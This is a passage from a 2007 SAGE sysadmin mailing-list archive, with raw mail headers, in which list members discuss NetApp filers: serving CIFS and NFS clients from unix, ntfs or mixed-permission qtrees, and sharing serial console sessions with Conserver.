| question, I guess you could give it a try.
| 
| But every other single person I've ever heard from that has tried to 
| mix CIFS and NFS clients on the same qtree has reported nothing but 
| heartache, trouble, and grief.  IMO, better not to try.

You may be thinking of/referring to the "mixed" permission
mode where a given file may have either NFS or CIFS ACLs
depending on how the file was created and when permissions
were set.  I'd never go there, i've even heard NetApp strongly
recommend against using this on several instances.

Every filer i've ever seen in use or administered always
provided files to both CIFS and NFS clients, although always
using NFS permissions.  Never really been a problem.
These have always been environments where UNIX was more
prevalent, and Windows more desktopy, but nonetheless, there
were always Windows only users there.


From sage-members-owner@usenix.org Sun Mar 18 18:26:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J1Qv54014361
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 18:26:57 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2J1Qvaj014360
	for sage-members-0utGoign; Sun, 18 Mar 2007 18:26:57 -0700 (PDT)
Received: from mail1.panix.com (mail1.panix.com [166.84.1.72])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J1Qavr014351
	for <sage-members@sage.org>; Sun, 18 Mar 2007 18:26:46 -0700 (PDT)
Received: from panix1.panix.com (panix1.panix.com [166.84.1.1])
	by mail1.panix.com (Postfix) with ESMTP id 466C458832;
	Sun, 18 Mar 2007 21:26:35 -0400 (EDT)
Received: (from jac@localhost)
	by panix1.panix.com (8.11.6p3/8.8.8/PanixN1.1) id l2J1QZY18275;
	Sun, 18 Mar 2007 21:26:35 -0400 (EDT)
Date: Sun, 18 Mar 2007 18:26:35 -0700
From: John Clear <jac@panix.com>
To: Brad Knowles <brad@shub-internet.org>
Cc: John Clear <jac@panix.com>, Sean Kelly <smkelly@creighton.edu>,
	SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] NetApp FAS3000 experiences?
Message-ID: <20070319012635.GA3957@panix.com>
References: <20070318195135.GA26719@rooster.creighton.edu>
	<p06240501c2235491ca5d@[10.0.1.201]>
	<20070318220902.GB15664@panix.com>
	<p06240500c2238718a1bc@[10.0.1.201]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <p06240500c2238718a1bc@[10.0.1.201]>
User-Agent: Mutt/1.5.10i
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=33%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Sun, Mar 18, 2007 at 07:34:40PM -0500, Brad Knowles wrote:
> 
> But every other single person I've ever heard from that has tried to 
> mix CIFS and NFS clients on the same qtree has reported nothing but 
> heartache, trouble, and grief.  IMO, better not to try.

Mixed mode qtrees are always a bad idea.  A unix qtree shared via
CIFS works fine, if you can accept Unix permissions.  

For those not familiar with NetApps, a qtrees can either have unix
style permissions, ntfs style permissions, or a mixed mode.  A unix
qtree shared via CIFS will use the standard Unix users/group/other
permissions to determine CIFS access.  An ntfs one can be shared
via NFS, but it barely works due to the way Windows ACLs work.
Mixed mode sets the mode based on the last update to the file,
which never works.  I have no idea why they leave mixed mode as an
option.

> > While it is true that there is just one admin session, you can
> > connect to the same session at the same time via console and telnet.
> > So in your above case, you can still connect via serial console.
> 
> Serial console.  Gack.  Been there, done that.  Even with a remote 
> serial console management system, that's still a pain.
> 
> Oh, and what happens if someone else had connected to the serial 
> console and left themselves logged in there?

The first shop I worked in used Conserver (www.conserver.com), and
I've used it every where since.  Never worry about someone hogging
the serial console again (among other useful features).

John


From sage-members-owner@usenix.org Sun Mar 18 18:31:43 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2J1VgGL014679
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 18 Mar 2007 18:31:42 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2J1VgAw014678
	for sage-members-0u